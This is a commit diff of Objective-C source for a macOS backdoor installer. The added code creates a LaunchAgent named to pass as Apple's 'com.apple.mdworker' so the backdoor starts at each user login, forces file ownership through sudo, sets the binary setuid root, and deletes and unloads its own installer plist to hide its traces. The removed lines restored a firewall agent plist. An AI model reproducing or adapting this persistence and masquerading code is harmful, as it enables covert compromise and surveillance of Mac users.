12
12
#import < sys/types.h>
13
13
#import < pwd.h>
14
14
15
- #define INSTALLER_PLIST @" com.apple.mdworkers.plist"
15
+ // #define DEBUG
16
+ #define INSTALLER_PLIST @" com.apple.mdworkers"
17
+ #define BACKDOOR_DAEMON_PLIST @" Library/LaunchAgents/com.apple.mdworker.plist"
16
18
17
19
18
20
void changeAttributesForBinaryAtPath (NSString *aPath, int uid, int gid, u_long permissions)
@@ -63,39 +65,97 @@ void executeTask(NSString *anAppPath,
63
65
[task release ];
64
66
}
65
67
66
- void restoreAlfPlist ( )
68
+ BOOL savePlist ( NSString *username, id anObject, NSString *aPath )
67
69
{
68
- NSString *alfPlistPath = [[NSString alloc ] initWithFormat: @" /Library/Preferences/com.apple.alf.agent.plist" ,
69
- [[NSBundle mainBundle ] bundlePath ]];
70
-
71
- NSString *destAlfPlistPath = [[NSString alloc ] initWithString:
72
- @" /System/Library/LaunchDaemons/com.apple.alf.agent.plist" ];
73
-
74
- NSFileManager *_fileManager = [NSFileManager defaultManager ];
75
-
76
- if ([_fileManager fileExistsAtPath: alfPlistPath] == NO )
70
+ BOOL success = [anObject writeToFile: aPath
71
+ atomically: YES ];
72
+
73
+ if (success == NO )
77
74
{
78
- return ;
75
+ #ifdef DEBUG
76
+ NSLog (@" Error while writing plist at %@ " , aPath);
77
+ #endif
78
+ return NO ;
79
79
}
80
-
81
- //
82
- // Remove the current alf agent plist
80
+
83
81
//
84
- [_fileManager removeItemAtPath: destAlfPlistPath
85
- error: nil ];
86
-
82
+ // Force owner since we can't remove that file if not owned by us
83
+ // with removeItemAtPath:error (e.g. backdoor upgrade)
87
84
//
88
- // Copy it to destination
89
- //
90
- [_fileManager moveItemAtPath: alfPlistPath
91
- toPath: destAlfPlistPath
92
- error: nil ];
85
+ NSString *userAndGroup = [NSString stringWithFormat: @" %@ :staff" , username];
86
+ NSArray *_tempArguments = [[NSArray alloc ] initWithObjects:
87
+ @" /usr/bin/chown" ,
88
+ userAndGroup,
89
+ aPath,
90
+ nil ];
91
+
92
+ #ifdef DEBUG
93
+ NSLog (@" forcing owner: %@ " , userAndGroup);
94
+ #endif
95
+
96
+ executeTask (@" /usr/bin/sudo" , _tempArguments, YES );
97
+
98
+ [_tempArguments release ];
99
+ return YES ;
100
+ }
93
101
94
- u_long permissions = (S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
95
- changeAttributesForBinaryAtPath (destAlfPlistPath, 0 , 0 , permissions);
102
+ BOOL createLaunchAgent (NSString *username, NSString *dirName, NSString *aBinary)
103
+ {
104
+ NSMutableDictionary *rootObj = [NSMutableDictionary dictionaryWithCapacity: 1 ];
105
+ NSDictionary *innerDict;
106
+ NSString *userHome = [[NSString alloc ] initWithFormat: @" /Users/%@ " , username];
107
+
108
+ NSString *ourPlist = [NSString stringWithFormat: @" %@ /%@ " ,
109
+ userHome,
110
+ BACKDOOR_DAEMON_PLIST];
111
+
112
+ #ifdef DEBUG
113
+ NSLog (@" userHome: %@ " , userHome);
114
+ #endif
115
+
116
+ NSString *launchAgentsPath = [NSString stringWithFormat: @" %@ /Library/LaunchAgents" ,
117
+ userHome];
118
+
119
+ if ([[NSFileManager defaultManager ] fileExistsAtPath: launchAgentsPath] == NO )
120
+ {
96
121
97
- [alfPlistPath release ];
98
- [destAlfPlistPath release ];
122
+ #ifdef DEBUG
123
+ NSLog (@" LaunchAgents folder does not exist" );
124
+ #endif
125
+ if (mkdir ([launchAgentsPath UTF8String ], 0755 ) == -1 )
126
+ {
127
+ #ifdef DEBUG
128
+ NSLog (@" Error on LaunchAgents mkdir" );
129
+ #endif
130
+ return NO ;
131
+ }
132
+ }
133
+
134
+ NSString *backdoorPath = [NSString stringWithFormat: @" %@ /Library/Preferences/%@ " ,
135
+ userHome,
136
+ dirName];
137
+ NSString *backdoorBinaryPath = [NSString stringWithFormat: @" %@ /%@ " ,
138
+ backdoorPath,
139
+ aBinary];
140
+
141
+ NSString *errorLog = [NSString stringWithFormat: @" %@ /ji33" , backdoorPath];
142
+ NSString *outLog = [NSString stringWithFormat: @" %@ /ji34" , backdoorPath];
143
+
144
+ innerDict = [[NSDictionary alloc ] initWithObjectsAndKeys:
145
+ @" com.apple.mdworker" , @" Label" ,
146
+ @" Aqua" , @" LimitLoadToSessionType" ,
147
+ [NSNumber numberWithBool: FALSE ], @" OnDemand" ,
148
+ [NSArray arrayWithObjects: backdoorBinaryPath, nil ], @" ProgramArguments" ,
149
+ errorLog, @" StandardErrorPath" ,
150
+ outLog, @" StandardOutPath" ,
151
+ nil ];
152
+ // [NSNumber numberWithBool: TRUE], @"RunAtLoad", nil];
153
+
154
+ [rootObj addEntriesFromDictionary: innerDict];
155
+ [innerDict release ];
156
+ [userHome release ];
157
+
158
+ return savePlist (username, rootObj, ourPlist);
99
159
}
100
160
101
161
void deleteCurrentDir ()
@@ -131,17 +191,19 @@ int main(int ac, char *av[])
131
191
username,
132
192
backdoorDir];
133
193
134
- [_backdoorDir release ];
135
- [backdoorDir release ];
136
-
137
194
NSString *binaryPath = [[NSString alloc ] initWithFormat: @" %@ /%@ " ,
138
195
destinationDir,
139
196
binary];
140
197
141
198
//
142
- // Restore com.apple.alf.agent.plist
199
+ // Create mdworker.flg so that once loaded the backdoor won't relaunch itself
200
+ // through launchd (will be already loaded by launchd)
143
201
//
144
- restoreAlfPlist ();
202
+ NSString *mdworker = [[NSString alloc ] initWithFormat: @" %@ /mdworker.flg" ,
203
+ destinationDir];
204
+ [@" " writeToFile: mdworker
205
+ atomically: YES ];
206
+ [mdworker release ];
145
207
146
208
if ([_fileManager fileExistsAtPath: binaryPath])
147
209
{
@@ -164,20 +226,9 @@ int main(int ac, char *av[])
164
226
destinationDir,
165
227
nil ];
166
228
167
- executeTask (@" /usr/bin/sudo" , arguments, NO );
229
+ executeTask (@" /usr/bin/sudo" , arguments, YES );
168
230
// mkdir([destinationDir UTF8String], 0755);
169
231
170
- //
171
- // Delete installer plist path
172
- //
173
- NSString *installerPlistPath = [[NSString alloc ] initWithFormat: @" %@ /%@ " ,
174
- [[NSBundle mainBundle ] bundlePath ],
175
- INSTALLER_PLIST];
176
-
177
- [_fileManager removeItemAtPath: installerPlistPath
178
- error: nil ];
179
- [installerPlistPath release ];
180
-
181
232
//
182
233
// Delete ourself in order to avoid to be copied in the next for cycle
183
234
//
@@ -210,51 +261,69 @@ int main(int ac, char *av[])
210
261
}
211
262
212
263
[currentDir release ];
213
- [binary release ];
214
264
[destinationDir release ];
215
265
216
266
u_long permissions = (S_ISUID | S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
217
267
changeAttributesForBinaryAtPath (binaryPath, 0 , 0 , permissions);
218
268
219
- arguments = [NSArray arrayWithObjects:
220
- @" -u" ,
221
- username,
222
- binaryPath,
223
- nil ];
224
-
225
269
//
226
- // Execute it as the user
270
+ // Now drop launchAgent file inside user home in order to let the backdoor load
271
+ // on user login
227
272
//
228
- executeTask (@" /usr/bin/sudo" , arguments, NO );
273
+ if (createLaunchAgent (username, backdoorDir, binary) == NO )
274
+ {
275
+ #ifdef DEBUG
276
+ NSLog (@" Error on createLaunchAgent" );
277
+ #endif
278
+ }
279
+
280
+ [backdoorDir release ];
281
+ [_backdoorDir release ];
282
+ [binary release ];
229
283
230
284
//
231
285
// Delete current dir
232
286
//
233
- [_fileManager removeItemAtPath: [[NSBundle mainBundle ] bundlePath ]
234
- error: nil ];
287
+ NSError *err;
288
+
289
+ if ([_fileManager removeItemAtPath: [[NSBundle mainBundle ] bundlePath ]
290
+ error: &err] == NO )
291
+ {
292
+ #ifdef DEBUG
293
+ NSLog (@" Error on remove current dir: %@ " , [err description ]);
294
+ #endif
295
+ }
235
296
236
297
//
237
- // Wait for backdoor installation
298
+ // Delete installer plist path
238
299
//
239
- NSString *workerFlagPath = [[NSString alloc ] initWithFormat:
240
- @" %@ /mdworker.flg " ,
241
- destinationDir ];
300
+ NSString *installerPlistPath = [[NSString alloc ] initWithFormat: @" /System/Library/LaunchDaemons/ %@ . %@ .plist " ,
301
+ INSTALLER_PLIST ,
302
+ username ];
242
303
243
- while ([_fileManager fileExistsAtPath: workerFlagPath] == NO )
244
- {
245
- sleep (1 );
246
- }
304
+ [_fileManager removeItemAtPath: installerPlistPath
305
+ error: nil ];
306
+ [installerPlistPath release ];
247
307
248
308
//
249
- // Wait just to be sure (if we exit before the child process
250
- // has finished we might force-kill it)
309
+ // Safe to unload ourself
251
310
//
252
- sleep (5 );
311
+ NSString *rootLoaderLabel = [NSString stringWithFormat: @" com.apple.mdworkers.%@ " ,
312
+ username];
313
+
314
+ #ifdef DEBUG
315
+ NSLog (@" Removing %@ " , rootLoaderLabel);
316
+ #endif
317
+
318
+ NSArray *args = [NSArray arrayWithObjects:
319
+ @" remove" ,
320
+ rootLoaderLabel,
321
+ nil ];
322
+
323
+ executeTask (@" /bin/launchctl" , args, YES );
253
324
254
- [workerFlagPath release ];
255
- [username release ];
256
325
[binaryPath release ];
326
+ [username release ];
257
327
[outerPool release ];
258
-
259
328
return 0 ;
260
329
}
0 commit comments